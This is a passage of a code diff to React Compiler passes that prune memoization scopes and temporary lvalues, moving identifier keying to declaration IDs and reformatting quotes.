+    const options = this.options;
+
+    switch (value.kind) {
+      case 'ConditionalExpression': {
+        return {
+          // Only need to memoize if the rvalues are memoized
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          rvalues: [
+            // Conditionals do not alias their test value.
+            ...this.computeMemoizationInputs(value.consequent, null).rvalues,
+            ...this.computeMemoizationInputs(value.alternate, null).rvalues,
+          ],
+        };
+      }
+      case 'LogicalExpression': {
+        return {
+          // Only need to memoize if the rvalues are memoized
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          rvalues: [
+            ...this.computeMemoizationInputs(value.left, null).rvalues,
+            ...this.computeMemoizationInputs(value.right, null).rvalues,
+          ],
+        };
+      }
+      case 'SequenceExpression': {
+        for (const instr of value.instructions) {
+          this.visitValueForMemoization(instr.id, instr.value, instr.lvalue);
+        }
+        return {
+          // Only need to memoize if the rvalues are memoized
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          /*
+           * Only the final value of the sequence is a true rvalue:
+           * values from the sequence's instructions are evaluated
+           * as separate nodes
+           */
+          rvalues: this.computeMemoizationInputs(value.value, null).rvalues,
+        };
+      }
+      case 'JsxExpression': {
+        const operands: Array<Place> = [];
+        if (value.tag.kind === 'Identifier') {
+          operands.push(value.tag);
+        }
+        for (const prop of value.props) {
+          if (prop.kind === 'JsxAttribute') {
+            operands.push(prop.place);
+          } else {
+            operands.push(prop.argument);
+          }
+        }
+        if (value.children !== null) {
+          for (const child of value.children) {
+            operands.push(child);
+          }
+        }
+        const level = options.memoizeJsxElements
+          ? MemoizationLevel.Memoized
+          : MemoizationLevel.Unmemoized;
+        return {
+          /*
+           * JSX elements themselves are not memoized unless forced to
+           * avoid breaking downstream memoization
+           */
+          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],
+          rvalues: operands,
+        };
+      }
+      case 'JsxFragment': {
+        const level = options.memoizeJsxElements
+          ? MemoizationLevel.Memoized
+          : MemoizationLevel.Unmemoized;
+        return {
+          /*
+           * JSX elements themselves are not memoized unless forced to
+           * avoid breaking downstream memoization
+           */
+          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],
+          rvalues: value.children,
+        };
+      }
+      case 'NextPropertyOf':
+      case 'StartMemoize':
+      case 'FinishMemoize':
+      case 'Debugger':
+      case 'ComputedDelete':
+      case 'PropertyDelete':
+      case 'LoadGlobal':
+      case 'MetaProperty':
+      case 'TemplateLiteral':
+      case 'Primitive':
+      case 'JSXText':
+      case 'BinaryExpression':
+      case 'UnaryExpression': {
+        if (options.forceMemoizePrimitives) {
+          /**
+           * Because these instructions produce primitives we usually don't consider
+           * them as escape points: they are known to copy, not return references.
+           * However if we're forcing memoization of primitives then we mark these
+           * instructions as needing memoization and walk their rvalues to ensure
+           * any scopes transitively reachable from the rvalues are considered for
+           * memoization. Note: we may still prune primitive-producing scopes if
+           * they don't ultimately escape at all.
+           */
+          const level = MemoizationLevel.Conditional;
+          return {
+            lvalues: lvalue !== null ? [{place: lvalue, level}] : [],
+            rvalues: [...eachReactiveValueOperand(value)],
+          };
+        }
+        const level = MemoizationLevel.Never;
+        return {
+          // All of these instructions return a primitive value and never need to be memoized
+          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],
+          rvalues: [],
+        };
+      }
+      case 'Await':
+      case 'TypeCastExpression': {
+        return {
+          // Indirection for the inner value, memoized if the value is
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          rvalues: [value.value],
+        };
+      }
+      case 'IteratorNext': {
+        return {
+          // Indirection for the inner value, memoized if the value is
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          rvalues: [value.iterator, value.collection],
+        };
+      }
+      case 'GetIterator': {
+        return {
+          // Indirection for the inner value, memoized if the value is
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          rvalues: [value.collection],
+        };
+      }
+      case 'LoadLocal': {
+        return {
+          // Indirection for the inner value, memoized if the value is
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          rvalues: [value.place],
+        };
+      }
+      case 'LoadContext': {
+        return {
+          // Should never be pruned
+          lvalues:
+            lvalue !== null
+              ? [{place: lvalue, level: MemoizationLevel.Conditional}]
+              : [],
+          rvalues: [value.place],
+        };
+      }
+      case 'DeclareContext': {
+        const lvalues = [
+          {place: value.lvalue.place, level: MemoizationLevel.Memoized},
+        ];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Unmemoized});
+        }
+        return {
+          lvalues,
+          rvalues: [],
+        };
+      }
+
+      case 'DeclareLocal': {
+        const lvalues = [
+          {place: value.lvalue.place, level: MemoizationLevel.Unmemoized},
+        ];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Unmemoized});
+        }
+        return {
+          lvalues,
+          rvalues: [],
+        };
+      }
+      case 'PrefixUpdate':
+      case 'PostfixUpdate': {
+        const lvalues = [
+          {place: value.lvalue, level: MemoizationLevel.Conditional},
+        ];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});
+        }
+        return {
+          // Indirection for the inner value, memoized if the value is
+          lvalues,
+          rvalues: [value.value],
+        };
+      }
+      case 'StoreLocal': {
+        const lvalues = [
+          {place: value.lvalue.place, level: MemoizationLevel.Conditional},
+        ];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});
+        }
+        return {
+          // Indirection for the inner value, memoized if the value is
+          lvalues,
+          rvalues: [value.value],
+        };
+      }
+      case 'StoreContext': {
+        // Should never be pruned
+        const lvalues = [
+          {place: value.lvalue.place, level: MemoizationLevel.Memoized},
+        ];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});
+        }
+
+        return {
+          lvalues,
+          rvalues: [value.value],
+        };
+      }
+      case 'StoreGlobal': {
+        const lvalues = [];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Unmemoized});
+        }
+
+        return {
+          lvalues,
+          rvalues: [value.value],
+        };
+      }
+      case 'Destructure': {
+        // Indirection for the inner value, memoized if the value is
+        const lvalues = [];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});
+        }
+        lvalues.push(...computePatternLValues(value.lvalue.pattern));
+        return {
+          lvalues: lvalues,
+          rvalues: [value.value],
+        };
+      }
+      case 'ComputedLoad':
+      case 'PropertyLoad': {
+        const level = MemoizationLevel.Conditional;
+        return {
+          // Indirection for the inner value, memoized if the value is
+          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],
+          /*
+           * Only the object is aliased to the result, and the result only needs to be
+           * memoized if the object is
+           */
+          rvalues: [value.object],
+        };
+      }
+      case 'ComputedStore': {
+        /*
+         * The object being stored to acts as an lvalue (it aliases the value), but
+         * the computed key is not aliased
+         */
+        const lvalues = [
+          {place: value.object, level: MemoizationLevel.Conditional},
+        ];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});
+        }
+        return {
+          lvalues,
+          rvalues: [value.value],
+        };
+      }
+      case 'OptionalExpression': {
+        // Indirection for the inner value, memoized if the value is
+        const lvalues = [];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});
+        }
+        return {
+          lvalues: lvalues,
+          rvalues: [
+            ...this.computeMemoizationInputs(value.value, null).rvalues,
+          ],
+        };
+      }
+      case 'TaggedTemplateExpression': {
+        const signature = getFunctionCallSignature(
+          env,
+          value.tag.identifier.type,
+        );
+        let lvalues = [];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});
+        }
+        if (signature?.noAlias === true) {
+          return {
+            lvalues,
+            rvalues: [],
+          };
+        }
+        const operands = [...eachReactiveValueOperand(value)];
+        lvalues.push(
+          ...operands
+            .filter(operand => isMutableEffect(operand.effect, operand.loc))
+            .map(place => ({place, level: MemoizationLevel.Memoized})),
+        );
+        return {
+          lvalues,
+          rvalues: operands,
+        };
+      }
+      case 'CallExpression': {
+        const signature = getFunctionCallSignature(
+          env,
+          value.callee.identifier.type,
+        );
+        let lvalues = [];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});
+        }
+        if (signature?.noAlias === true) {
+          return {
+            lvalues,
+            rvalues: [],
+          };
+        }
+        const operands = [...eachReactiveValueOperand(value)];
+        lvalues.push(
+          ...operands
+            .filter(operand => isMutableEffect(operand.effect, operand.loc))
+            .map(place => ({place, level: MemoizationLevel.Memoized})),
+        );
+        return {
+          lvalues,
+          rvalues: operands,
+        };
+      }
+      case 'MethodCall': {
+        const signature = getFunctionCallSignature(
+          env,
+          value.property.identifier.type,
+        );
+        let lvalues = [];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});
+        }
+        if (signature?.noAlias === true) {
+          return {
+            lvalues,
+            rvalues: [],
+          };
+        }
+        const operands = [...eachReactiveValueOperand(value)];
+        lvalues.push(
+          ...operands
+            .filter(operand => isMutableEffect(operand.effect, operand.loc))
+            .map(place => ({place, level: MemoizationLevel.Memoized})),
+        );
+        return {
+          lvalues,
+          rvalues: operands,
+        };
+      }
+      case 'RegExpLiteral':
+      case 'ObjectMethod':
+      case 'FunctionExpression':
+      case 'ArrayExpression':
+      case 'NewExpression':
+      case 'ObjectExpression':
+      case 'PropertyStore': {
+        /*
+         * All of these instructions may produce new values which must be memoized if
+         * reachable from a return value. Any mutable rvalue may alias any other rvalue
+         */
+        const operands = [...eachReactiveValueOperand(value)];
+        const lvalues = operands
+          .filter(operand => isMutableEffect(operand.effect, operand.loc))
+          .map(place => ({place, level: MemoizationLevel.Memoized}));
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});
+        }
+        return {
+          lvalues,
+          rvalues: operands,
+        };
+      }
+      case 'UnsupportedNode': {
+        const lvalues = [];
+        if (lvalue !== null) {
+          lvalues.push({place: lvalue, level: MemoizationLevel.Never});
+        }
+        return {
+          lvalues,
+          rvalues: [],
+        };
+      }
+      default: {
+        assertExhaustive(
+          value,
+          `Unexpected value kind \`${(value as any).kind}\``,
+        );
+      }
+    }
+  }
 
+  visitValueForMemoization(
+    id: InstructionId,
+    value: ReactiveValue,
+    lvalue: Place | null,
+  ): void {
+    const state = this.state;
     // Determe the level of memoization for this value and the lvalues/rvalues
-    const aliasing = computeMemoizationInputs(
-      this.env,
-      instruction.value,
-      instruction.lvalue,
-      this.options
-    );
+    const aliasing = this.computeMemoizationInputs(value, lvalue);
 
     // Associate all the rvalues with the instruction's scope if it has one
     for (const operand of aliasing.rvalues) {
       const operandId =
-        state.definitions.get(operand.identifier.id) ?? operand.identifier.id;
-      state.visitOperand(instruction.id, operand, operandId);
+        state.definitions.get(operand.identifier.declarationId) ??
+        operand.identifier.declarationId;
+      state.visitOperand(id, operand, operandId);
     }
 
     // Add the operands as dependencies of all lvalues.
-    for (const { place: lvalue, level } of aliasing.lvalues) {
+    for (const {place: lvalue, level} of aliasing.lvalues) {
       const lvalueId =
-        state.definitions.get(lvalue.identifier.id) ?? lvalue.identifier.id;
+        state.definitions.get(lvalue.identifier.declarationId) ??
+        lvalue.identifier.declarationId;
       let node = state.identifiers.get(lvalueId);
       if (node === undefined) {
         node = {
@@ -858,33 +897,29 @@ class CollectDependenciesVisitor extends ReactiveFunctionVisitor<State> {
        */
       for (const operand of aliasing.rvalues) {
         const operandId =
-          state.definitions.get(operand.identifier.id) ?? operand.identifier.id;
+          state.definitions.get(operand.identifier.declarationId) ??
+          operand.identifier.declarationId;
         if (operandId === lvalueId) {
           continue;
         }
         node.dependencies.add(operandId);
       }
 
-      state.visitOperand(instruction.id, lvalue, lvalueId);
+      state.visitOperand(id, lvalue, lvalueId);
     }
 
-    if (instruction.value.kind === "LoadLocal" && instruction.lvalue !== null) {
+    if (value.kind === 'LoadLocal' && lvalue !== null) {
       state.definitions.set(
-        instruction.lvalue.identifier.id,
-        instruction.value.place.identifier.id
+        lvalue.identifier.declarationId,
+        value.place.identifier.declarationId,
       );
-    } else if (
-      instruction.value.kind === "CallExpression" ||
-      instruction.value.kind === "MethodCall"
-    ) {
+    } else if (value.kind === 'CallExpression' || value.kind === 'MethodCall') {
       let callee =
-        instruction.value.kind === "CallExpression"
-          ? instruction.value.callee
-          : instruction.value.property;
+        value.kind === 'CallExpression' ? value.callee : value.property;
       if (getHookKind(state.env, callee.identifier) != null) {
         const signature = getFunctionCallSignature(
           this.env,
-          callee.identifier.type
+          callee.identifier.type,
         );
         /*
          * Hook values are assumed to escape by default since they can be inputs
@@ -895,35 +930,97 @@ class CollectDependenciesVisitor extends ReactiveFunctionVisitor<State> {
         if (signature && signature.noAlias === true) {
           return;
         }
-        for (const operand of instruction.value.args) {
-          const place = operand.kind === "Spread" ? operand.place : operand;
-          state.escapingValues.add(place.identifier.id);
+        for (const operand of value.args) {
+          const place = operand.kind === 'Spread' ? operand.place : operand;
+          state.escapingValues.add(place.identifier.declarationId);
         }
       }
     }
   }
 
+  override visitInstruction(
+    instruction: ReactiveInstruction,
+    _scopes: Array<ReactiveScope>,
+  ): void {
+    this.visitValueForMemoization(
+      instruction.id,
+      instruction.value,
+      instruction.lvalue,
+    );
+  }
+
   override visitTerminal(
     stmt: ReactiveTerminalStatement<ReactiveTerminal>,
-    state: State
+    scopes: Array<ReactiveScope>,
   ): void {
-    this.traverseTerminal(stmt, state);
+    this.traverseTerminal(stmt, scopes);
+    if (stmt.terminal.kind === 'return') {
+      this.state.escapingValues.add(
+        stmt.terminal.value.identifier.declarationId,
+      );
+
+      /*
+       * If the return is within a scope, then those scopes must be evaluated
+       * with the return and should be considered dependencies of the returned
+       * value.
+       *
+       * This ensures that if those scopes have dependencies that those deps
+       * are also memoized.
+       */
+      const identifierNode = this.state.identifiers.get(
+        stmt.terminal.value.identifier.declarationId,
+      );
+      CompilerError.invariant(identifierNode !== undefined, {
+        reason: 'Expected identifier to be initialized',
+        loc: stmt.terminal.loc,
+      });
+      for (const scope of scopes) {
+        identifierNode.scopes.add(scope.id);
+      }
+    }
+  }
 
-    if (stmt.terminal.kind === "return") {
-      state.escapingValues.add(stmt.terminal.value.identifier.id);
+  override visitScope(
+    scope: ReactiveScopeBlock,
+    scopes: Array<ReactiveScope>,
+  ): void {
+    /*
+     * If a scope reassigns any variables, set the chain of active scopes as a dependency
+     * of those variables. This ensures that if the variable escapes that we treat the
+     * reassignment scopes — and importantly their dependencies — as needing memoization.
+     */
+    for (const reassignment of scope.scope.reassignments) {
+      const identifierNode = this.state.identifiers.get(
+        reassignment.declarationId,
+      );
+      CompilerError.invariant(identifierNode !== undefined, {
+        reason: 'Expected identifier to be initialized',
+        loc: reassignment.loc,
+      });
+      for (const scope of scopes) {
+        identifierNode.scopes.add(scope.id);
+      }
+      identifierNode.scopes.add(scope.scope.id);
     }
+
+    this.traverseScope(scope, [...scopes, scope.scope]);
   }
 }
 
 // Prune reactive scopes that do not have any memoized outputs
 class PruneScopesTransform extends ReactiveFunctionTransform<
-  Set<IdentifierId>
+  Set<DeclarationId>
 > {
   prunedScopes: Set<ScopeId> = new Set();
+  /**
+   * Track reassignments so we can correctly set `pruned` flags for
+   * inlined useMemos.
+   */
+  reassignments: Map<DeclarationId, Set<Identifier>> = new Map();
 
   override transformScope(
     scopeBlock: ReactiveScopeBlock,
-    state: Set<IdentifierId>
+    state: Set<DeclarationId>,
   ): Transformed<ReactiveStatement> {
     this.visitScope(scopeBlock, state);
 
@@ -932,53 +1029,95 @@ class PruneScopesTransform extends ReactiveFunctionTransform<
      * is early-returned from within the scope. For now we intentionaly keep
      * these scopes, and let them get pruned later by PruneUnusedScopes
      * _after_ handling the early-return case in PropagateEarlyReturns.
+     *
+     * Also keep the scope if an early return was created by some earlier pass,
+     * which may happen in alternate compiler configurations.
      */
     if (
-      scopeBlock.scope.declarations.size === 0 &&
-      scopeBlock.scope.reassignments.size === 0
+      (scopeBlock.scope.declarations.size === 0 &&
+        scopeBlock.scope.reassignments.size === 0) ||
+      scopeBlock.scope.earlyReturnValue !== null
     ) {
-      return { kind: "keep" };
+      return {kind: 'keep'};
     }
 
     const hasMemoizedOutput =
-      Array.from(scopeBlock.scope.declarations.keys()).some((id) =>
-        state.has(id)
+      Array.from(scopeBlock.scope.declarations.values()).some(decl =>
+        state.has(decl.identifier.declarationId),
       ) ||
-      Array.from(scopeBlock.scope.reassignments).some((identifier) =>
-        state.has(identifier.id)
+      Array.from(scopeBlock.scope.reassignments).some(identifier =>
+        state.has(identifier.declarationId),
       );
     if (hasMemoizedOutput) {
-      return { kind: "keep" };
+      return {kind: 'keep'};
     } else {
       this.prunedScopes.add(scopeBlock.scope.id);
       return {
-        kind: "replace-many",
+        kind: 'replace-many',
         value: scopeBlock.instructions,
       };
     }
   }
 
+  /**
+   * If we pruned the scope for a non-escaping value, we know it doesn't
+   * need to be memoized. Remove associated `Memoize` instructions so that
+   * we don't report false positives on "missing" memoization of these values.
+   */
   override transformInstruction(
     instruction: ReactiveInstruction,
-    state: Set<IdentifierId>
+    state: Set<DeclarationId>,
   ): Transformed<ReactiveStatement> {
     this.traverseInstruction(instruction, state);
 
-    /**
-     * If we pruned the scope for a non-escaping value, we know it doesn't
-     * need to be memoized. Remove associated `Memoize` instructions so that
-     * we don't report false positives on "missing" memoization of these values.
-     */
-    if (instruction.value.kind === "FinishMemoize") {
-      const identifier = instruction.value.decl.identifier;
+    const value = instruction.value;
+    if (value.kind === 'StoreLocal' && value.lvalue.kind === 'Reassign') {
+      // Complex cases of useMemo inlining result in a temporary that is reassigned
+      const ids = getOrInsertDefault(
+        this.reassignments,
+        value.lvalue.place.identifier.declarationId,
+        new Set(),
+      );
+      ids.add(value.value.identifier);
+    } else if (
+      value.kind === 'LoadLocal' &&
+      value.place.identifier.scope != null &&
+      instruction.lvalue != null &&
+      instruction.lvalue.identifier.scope == null
+    ) {
+      /*
+       * Simpler cases result in a direct assignment to the original lvalue, with a
+       * LoadLocal
+       */
+      const ids = getOrInsertDefault(
+        this.reassignments,
+        instruction.lvalue.identifier.declarationId,
+        new Set(),
+      );
+      ids.add(value.place.identifier);
+    } else if (value.kind === 'FinishMemoize') {
+      let decls;
+      if (value.decl.identifier.scope == null) {
+        /**
+         * If the manual memo was a useMemo that got inlined, iterate through
+         * all reassignments to the iife temporary to ensure they're memoized.
+         */
+        decls = this.reassignments.get(value.decl.identifier.declarationId) ?? [
+          value.decl.identifier,
+        ];
+      } else {
+        decls = [value.decl.identifier];
+      }
+
       if (
-        identifier.scope !== null &&
-        this.prunedScopes.has(identifier.scope.id)
+        [...decls].every(
+          decl => decl.scope == null || this.prunedScopes.has(decl.scope.id),
+        )
       ) {
-        instruction.value.pruned = true;
+        value.pruned = true;
       }
     }
 
-    return { kind: "keep" };
+    return {kind: 'keep'};
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonReactiveDependencies.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonReactiveDependencies.ts
index 2e1748fc6a42..9bdf15aeb534 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonReactiveDependencies.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonReactiveDependencies.ts
@@ -11,10 +11,10 @@ import {
   ReactiveInstruction,
   ReactiveScopeBlock,
   isStableType,
-} from "../HIR";
-import { eachPatternOperand } from "../HIR/visitors";
-import { collectReactiveIdentifiers } from "./CollectReactiveIdentifiers";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
+} from '../HIR';
+import {eachPatternOperand} from '../HIR/visitors';
+import {collectReactiveIdentifiers} from './CollectReactiveIdentifiers';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
 
 /*
  * PropagateScopeDependencies infers dependencies without considering whether dependencies
@@ -32,19 +32,19 @@ type ReactiveIdentifiers = Set<IdentifierId>;
 class Visitor extends ReactiveFunctionVisitor<ReactiveIdentifiers> {
   override visitInstruction(
     instruction: ReactiveInstruction,
-    state: ReactiveIdentifiers
+    state: ReactiveIdentifiers,
   ): void {
     this.traverseInstruction(instruction, state);
 
-    const { lvalue, value } = instruction;
+    const {lvalue, value} = instruction;
     switch (value.kind) {
-      case "LoadLocal": {
+      case 'LoadLocal': {
         if (lvalue !== null && state.has(value.place.identifier.id)) {
           state.add(lvalue.identifier.id);
         }
         break;
       }
-      case "StoreLocal": {
+      case 'StoreLocal': {
         if (state.has(value.value.identifier.id)) {
           state.add(value.lvalue.place.identifier.id);
           if (lvalue !== null) {
@@ -53,7 +53,7 @@ class Visitor extends ReactiveFunctionVisitor<ReactiveIdentifiers> {
         }
         break;
       }
-      case "Destructure": {
+      case 'Destructure': {
         if (state.has(value.value.identifier.id)) {
           for (const lvalue of eachPatternOperand(value.lvalue.pattern)) {
             if (isStableType(lvalue.identifier)) {
@@ -67,7 +67,7 @@ class Visitor extends ReactiveFunctionVisitor<ReactiveIdentifiers> {
         }
         break;
       }
-      case "PropertyLoad": {
+      case 'PropertyLoad': {
         if (
           lvalue !== null &&
           state.has(value.object.identifier.id) &&
@@ -77,7 +77,7 @@ class Visitor extends ReactiveFunctionVisitor<ReactiveIdentifiers> {
         }
         break;
       }
-      case "ComputedLoad": {
+      case 'ComputedLoad': {
         if (
           lvalue !== null &&
           (state.has(value.object.identifier.id) ||
@@ -92,7 +92,7 @@ class Visitor extends ReactiveFunctionVisitor<ReactiveIdentifiers> {
 
   override visitScope(
     scopeBlock: ReactiveScopeBlock,
-    state: ReactiveIdentifiers
+    state: ReactiveIdentifiers,
   ): void {
     this.traverseScope(scopeBlock, state);
     for (const dep of scopeBlock.scope.dependencies) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneTemporaryLValues.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneTemporaryLValues.ts
index bf34573c2d69..76f48adacab4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneTemporaryLValues.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneTemporaryLValues.ts
@@ -6,42 +6,50 @@
  */
 
 import {
-  Identifier,
+  DeclarationId,
   InstructionId,
   Place,
   ReactiveFunction,
   ReactiveInstruction,
-} from "../HIR/HIR";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
+} from '../HIR/HIR';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
 
 /*
  * Nulls out lvalues for temporary variables that are never accessed later. This only
  * nulls out the lvalue itself, it does not remove the corresponding instructions.
  */
-export function pruneTemporaryLValues(fn: ReactiveFunction): void {
-  const lvalues = new Map<Identifier, ReactiveInstruction>();
+export function pruneUnusedLValues(fn: ReactiveFunction): void {
+  const lvalues = new Map<DeclarationId, ReactiveInstruction>();
   visitReactiveFunction(fn, new Visitor(), lvalues);
   for (const [, instr] of lvalues) {
     instr.lvalue = null;
   }
 }
 
-type LValues = Map<Identifier, ReactiveInstruction>;
+/**
+ * This pass uses DeclarationIds because the lvalue IdentifierId of a compound expression
+ * (ternary, logical, optional) in ReactiveFunction may not be the same as the IdentifierId
+ * of the phi, and which is referenced later. Keying by DeclarationId ensures we don't
+ * delete lvalues for identifiers that are used.
+ *
+ * TODO LeaveSSA: once we use HIR everywhere, this can likely move back to using IdentifierId
+ */
+type LValues = Map<DeclarationId, ReactiveInstruction>;
 
 class Visitor extends ReactiveFunctionVisitor<LValues> {
   override visitPlace(id: InstructionId, place: Place, state: LValues): void {
-    state.delete(place.identifier);
+    state.delete(place.identifier.declarationId);
   }
   override visitInstruction(
     instruction: ReactiveInstruction,
-    state: LValues
+    state: LValues,
   ): void {
     this.traverseInstruction(instruction, state);
     if (
       instruction.lvalue !== null &&
       instruction.lvalue.identifier.name === null
     ) {
-      state.set(instruction.lvalue.identifier, instruction);
+      state.set(instruction.lvalue.identifier.declarationId, instruction);
     }
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedLabels.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedLabels.ts
index 8c31eb84e57e..548c7013409a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedLabels.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedLabels.ts
@@ -10,12 +10,12 @@ import {
   ReactiveFunction,
   ReactiveStatement,
   ReactiveTerminalStatement,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
   ReactiveFunctionTransform,
   Transformed,
   visitReactiveFunction,
-} from "./visitors";
+} from './visitors';
 
 /*
  * Flattens labeled terminals where the label is not reachable, and
@@ -31,36 +31,36 @@ type Labels = Set<BlockId>;
 class Transform extends ReactiveFunctionTransform<Labels> {
   override transformTerminal(
     stmt: ReactiveTerminalStatement,
-    state: Labels
+    state: Labels,
   ): Transformed<ReactiveStatement> {
     this.traverseTerminal(stmt, state);
-    const { terminal } = stmt;
+    const {terminal} = stmt;
     if (
-      (terminal.kind === "break" || terminal.kind === "continue") &&
-      terminal.targetKind === "labeled"
+      (terminal.kind === 'break' || terminal.kind === 'continue') &&
+      terminal.targetKind === 'labeled'
     ) {
       state.add(terminal.target);
     }
     // Is this terminal reachable via a break/continue to its label?
     const isReachableLabel = stmt.label !== null && state.has(stmt.label.id);
-    if (stmt.terminal.kind === "label" && !isReachableLabel) {
+    if (stmt.terminal.kind === 'label' && !isReachableLabel) {
       // Flatten labeled terminals where the label isn't necessary
       const block = [...stmt.terminal.block];
       const last = block.at(-1);
       if (
         last !== undefined &&
-        last.kind === "terminal" &&
-        last.terminal.kind === "break" &&
+        last.kind === 'terminal' &&
+        last.terminal.kind === 'break' &&
         last.terminal.target === null
       ) {
         block.pop();
       }
-      return { kind: "replace-many", value: block };
+      return {kind: 'replace-many', value: block};
     } else {
       if (!isReachableLabel && stmt.label != null) {
         stmt.label.implicit = true;
       }
-      return { kind: "keep" };
+      return {kind: 'keep'};
     }
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedScopes.ts
index 11cc928874e3..fdcf0065297a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedScopes.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedScopes.ts
@@ -10,12 +10,12 @@ import {
   ReactiveScopeBlock,
   ReactiveStatement,
   ReactiveTerminalStatement,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
   ReactiveFunctionTransform,
   Transformed,
   visitReactiveFunction,
-} from "./visitors";
+} from './visitors';
 
 // Converts scopes without outputs into regular blocks.
 export function pruneUnusedScopes(fn: ReactiveFunction): void {
@@ -31,15 +31,15 @@ type State = {
 class Transform extends ReactiveFunctionTransform<State> {
   override visitTerminal(stmt: ReactiveTerminalStatement, state: State): void {
     this.traverseTerminal(stmt, state);
-    if (stmt.terminal.kind === "return") {
+    if (stmt.terminal.kind === 'return') {
       state.hasReturnStatement = true;
     }
   }
   override transformScope(
     scopeBlock: ReactiveScopeBlock,
-    _state: State
+    _state: State,
   ): Transformed<ReactiveStatement> {
-    const scopeState: State = { hasReturnStatement: false };
+    const scopeState: State = {hasReturnStatement: false};
     this.visitScope(scopeBlock, scopeState);
     if (
       !scopeState.hasReturnStatement &&
@@ -52,15 +52,15 @@ class Transform extends ReactiveFunctionTransform<State> {
         !hasOwnDeclaration(scopeBlock))
     ) {
       return {
-        kind: "replace",
+        kind: 'replace',
         value: {
-          kind: "pruned-scope",
+          kind: 'pruned-scope',
           scope: scopeBlock.scope,
           instructions: scopeBlock.instructions,
         },
       };
     } else {
-      return { kind: "keep" };
+      return {kind: 'keep'};
     }
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/RenameVariables.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/RenameVariables.ts
index 73994a052ba4..6d72d2e25171 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/RenameVariables.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/RenameVariables.ts
@@ -5,10 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {ProgramContext} from '..';
+import {CompilerError} from '../CompilerError';
 import {
+  DeclarationId,
+  GeneratedSource,
   Identifier,
-  IdentifierId,
   IdentifierName,
   InstructionId,
   Place,
@@ -21,9 +23,9 @@ import {
   isPromotedJsxTemporary,
   isPromotedTemporary,
   makeIdentifierName,
-} from "../HIR/HIR";
-import { collectReferencedGlobals } from "./CollectReferencedGlobals";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
+} from '../HIR/HIR';
+import {collectReferencedGlobals} from './CollectReferencedGlobals';
+import {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';
 
 /**
  * Ensures that each named variable in the given function has a unique name
@@ -47,7 +49,7 @@ import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
  */
 export function renameVariables(fn: ReactiveFunction): Set<string> {
   const globals = collectReferencedGlobals(fn);
-  const scopes = new Scopes(globals);
